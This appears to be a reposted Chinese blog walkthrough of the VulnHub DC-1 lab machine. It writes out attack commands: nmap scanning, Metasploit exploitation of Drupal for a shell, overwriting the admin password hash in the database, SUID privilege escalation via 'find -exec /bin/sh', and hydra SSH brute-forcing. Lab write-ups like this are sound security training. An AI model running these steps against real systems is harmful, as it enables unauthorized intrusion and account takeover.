IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> DC-1靶机渗透 -> 正文阅读

[系统运维]DC-1靶机渗透

简介

靶机名称:DC1
下载地址:https://www.vulnhub.com/entry/dc-1-1,292/

一、信息收集

利用nmap扫描发现主机:

nmap -sP 192.168.229.0/24

在这里插入图片描述

获取主机为:192.168.229.180

收集主机端口和其它信息:

nmap -sS -sV -T5 -A -p- 192.168.229.180 

在这里插入图片描述
在这里插入图片描述

发现开发22端口和80端口,并且运行在Linux上

二、漏洞查找

发现有80端口直接访问得到:

在这里插入图片描述

发现是cms是drupal,用msf看一下有没有可以利用的

在这里插入图片描述

这里我用序号为2的:

在这里插入图片描述
在用命令:options
查看需要设置的参数:

在这里插入图片描述

需要设置rhosts:

set rhosts 192.168.229.180

在这里插入图片描述

然后run

然后就获得了meterpreter。
输入shell,获得交互式shell

在这里插入图片描述

可以用python达到一个交互效果:

python -c 'import pty; pty.spawn("/bin/bash")'

得到:
在这里插入图片描述
查找到第一个flag:

在这里插入图片描述

提权

根据第一个flag提示去寻找cms的cinfig file

并且Drupal的默认配置文件为 /var/www/sites/default/settings.php,查看

查看一下:

在这里插入图片描述

得到第二个flag

发现了flag2和数据库的账号密码,flag2提示,提升权限为root来查看敏感文件,或者直接爆破

我们先进入数据库查看

在这里插入图片描述

查看数据:
在这里插入图片描述

在这里插入图片描述

选则users表查看用户信息:

在这里插入图片描述
发现有个admin用户但不知道密码:

可以参考这篇博客置换密码:
https://drupalchina.cn/node/2128

在drupal目录站点敲入以下命令:

php scripts/password-hash.sh admin

在这里插入图片描述

然后在user表中将密码替换为上面hash后面的值:

update users set pass="$S$DZOvssEYtKnlk5jLGjdReDQJyO.y36sNqH5uX/S/2rGOEsw32Ju4"; 

在这里插入图片描述
这样admin的密码就被改成admin

在drupal网站登录看看:

在这里插入图片描述
登录成功

发现flag3:

在这里插入图片描述

flag3提示,提权并提示 -exec,想到suid提权 find 命令

使用命令查看 suid 权限的可执行二进制程序

find / -perm -4000 2>/dev/null

在这里插入图片描述

使用命令测试,发现为root权限

在这里插入图片描述

利用/bin/sh命令到达root的shell交互:

find / -name 666 -exec "/bin/sh" \;

在这里插入图片描述

获取最终flag

至此,完成渗透。此时我们查看 /etc/passwd 文件,发现存在 flag4 用户,

在这里插入图片描述我们可以使用 hydra 进行爆破

hydra -l flag4 -P pass.txt ssh://192.168.229.180   

在这里插入图片描述

连接:

在这里插入图片描述
参考连接:
https://blog.csdn.net/Auuuuuuuu/article/details/97832336

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2022-04-18 18:25:00  更:2022-04-18 18:29:07 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 21:06:22-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码